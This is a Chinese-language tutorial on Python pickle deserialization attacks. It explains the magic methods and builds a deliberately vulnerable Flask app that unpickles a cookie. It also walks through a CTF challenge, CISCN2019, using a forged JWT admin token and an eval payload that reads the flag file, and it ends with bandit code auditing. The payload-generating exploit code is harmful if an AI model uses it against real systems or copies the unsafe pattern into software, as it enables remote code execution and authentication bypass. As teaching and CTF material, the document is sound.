前置知识点

python反序列化和php反序列化类似,相当于把程序运行时产生的变量,字典,对象等实例变换成字符串的形式存储起来,以便后续调用。

python中反序列化的库主要有两个,pickle和cPickle,这两个库在运行效率上有区别以外,其他地方没有任何区别,下面将以pickle为例,介绍pickle的常用函数方法

1.文件格式
pickle.dump(obj,file) #将对象序列化后保存在文件中
pickle.load(file) #读取文件,将文件中的序列化内容反序列化为对象
2.字节流
pickle.dumps(obj) #将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) #将字符串格式的字节流反序列化为对象

python反序列化相对于Java反序列化和PHP反序列化都要简单一些,其主要的函数就只有dump和load,且其魔术方法也比较少,一般的pop链不会太长,下面我们介绍python反序列化的魔术方法

__reduce__()  #对象被序列化和反序列化时调用
__reduce_ex__() #对象被序列化和反序列化时调用
__setstate__() #对象被反序列化时调用
__getstate__() #对象被序列化时调用

序列化反序列化实例

__reduce__()

我们首先使用__reduce__()魔术方法进行演示,其中示例代码如下所示

import pickle
import os

class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a) #序列化操作
pickle.loads(p_a) #反序列化操作
print('==========')
print(p_a)

首先我们运行该代码,看看会出现什么情况。

image-20240920113450289

我们可以发现calc命令被成功执行,说明__reduce__()函数被成功调用,我们接下来注释掉反序列化操作,看看会有什么情况。

image-20240920113641420

我们可以发现啊虽然print函数被成功调用,但是没有调用相关命令,所以__reduce__()函数没有被成功调用,仅仅只是成功进行了序列化操作,至于为什么会执行print而不会执行return,是因为__reduce__()函数是有条件的,需要一个返回值,当我们把return注释掉的时候,会报错,如下所示

593255d6cc8552e5bb3a5b2e0c81d8c3

__getstate__()

我们接下来观察__getstate__()魔术方法,相关代码如下所示

#序列化魔术方法调用-__getstate__
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)
#序列化时自动调用__getstate__()

image-20240920135757892

相关代码仍然可以实现,这是因为__getstate__()函数在被序列化时被调用,所以当我们执行了dumps操作后会直接调用calc命令。

__setstate__()

class SerializePerson():
def __init__(self, name):
self.name = name
# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器

我们不做任何处理时,同样会弹出计算器,如下所示:

image-20240920141539283

当我们注释loads函数之后,执行脚本后不会出现任何反应

image-20240920142034644

这就和__setstate__()函数的性质有关,__setstate__()函数反序列化的时候才会被调用,可以参考__reduce__()函数的讲解

反序列化漏洞构造

我们首先在本地搭建一个在线网站,代码如下所示:

#Server服务器:
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user) #字符串->对象,反序列化(但是没有看到魔法方法)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username

if __name__ == "__main__":
app.run(
host='10.133.224.99',
port=5000,
debug=True
)

我们试着访问该网站,对应的页面如下所示

image-20240920143400210

我们首先分析代码,当cookie值存在的时候,会把cookie值传参给user,否则,就默认为Guest,由于我们并没有传递任何cookie参数,所以我们这里显示的是Hello Guest,我们这里可以利用其反序列化漏洞进行任意命令执行,如下所示

import pickle
import os
import base64

class A(object):
def __reduce__(self):
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a) #序列化操作
p_a_encode = base64.b64encode(p_a)
print(p_a_encode)

运行后的结果为gASVHAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjARjYWxjlIWUUpQu,我们通过bp进行传参

image-20240920145450731

我们发现命令被成功执行,如下所示

image-20240920145604986

这就是一个最简单的序列化漏洞的利用过程,我们可以将命令换成我们所需要的进行执行,甚至可以进行反弹shell操作

CTF实例-CISCN2019华北

我们首先打开该环境,发现关键信息,如下所示

88a5482da4f68bb62e49a4ba2cb09c60

这里提示我们需要找到lv6,我们可发现这里有很多不同的页,所以我们这里考虑使用脚本进行每一页的遍历,找到lv6.png即可

fe73528c4cee34dce1d8daf01894a424

我们编写脚本如下:

import requests
import time
url = "http://25953d8c-225a-4fd7-8a46-1106247dcbac.node5.buuoj.cn:81/shop?page="

for i in range(0,2000):
time.sleep(0.2)
r = requests.get(url+str(i))
if "lv6.png" in r.text:
print(i)
break
else:
print(str(i)+"not find")

我们运行相关的脚本,让其帮我们寻找到真正的lv6

image-20240920200055897

我们可以发现在181页,我们直接定向到相关的页面

image-20240920200244941

我们点击结算进行购买lv6,进行抓包,看看哪里可以进行越权,因为我们的初始金额只有1000,但是lv6需要1145141919,我们显然买不起,所以需要我们进行抓包改包进行分析

db5afd39c8109fc487618179c5810c2d

我们可以试着把discount改小,试一下可不可以成功获取到相关商品

image-20240920201849619

我们发现只允许admin访问,我们同样注意到有jwt身份验证,我们试着去破解一下jwt,看看能不能对jwt进行修改

image-20240920202147154

我们发现空加密在这里面不起作用,我们试着去爆破密钥,因为只有密钥获取之后我们才能将xichao修改成admin,我们通过jwt_tools爆破出来密钥为1Kun,我们可以通过1Kun重新生成密钥

image-20240920204445245

密钥为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

我们通过重新发包试着购买,可以发现成功购买到

image-20240920204803358

781189ae9341f12995e77c108632b061

我们下载这个zip文件,我们可以发现这个就是该网站的网站源码,我们进行代码审计,全局搜索pickle

image-20240920210927758

我们构造payload如下所示

import pickle
import os
import urllib
import urllib.parse

class A(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = A()
p_a = pickle.dumps(a) #序列化操作
p = urllib.parse.quote(p_a)
print(p)

image-20240920212230522

我们尝试将对应的生成的东西插入到其应当传参的地方,我们可以成功获得flag,至此本道题成功解出

自动化审计bandit

我们使用linux平台进行下载bandit进行自动审计

pip install bandit

我们使用bandit进行自动化分析刚刚的www源码,我们可以发现其自动给我们审计出来了很多信息

image-20240920215022114

86eb39964d2cb8d283080aa5e5c8fb52

包括反序列化漏洞也被审计出来了,所以这个自动化工具还是很强的,我们可以经常利用bandit进行自动化代码审计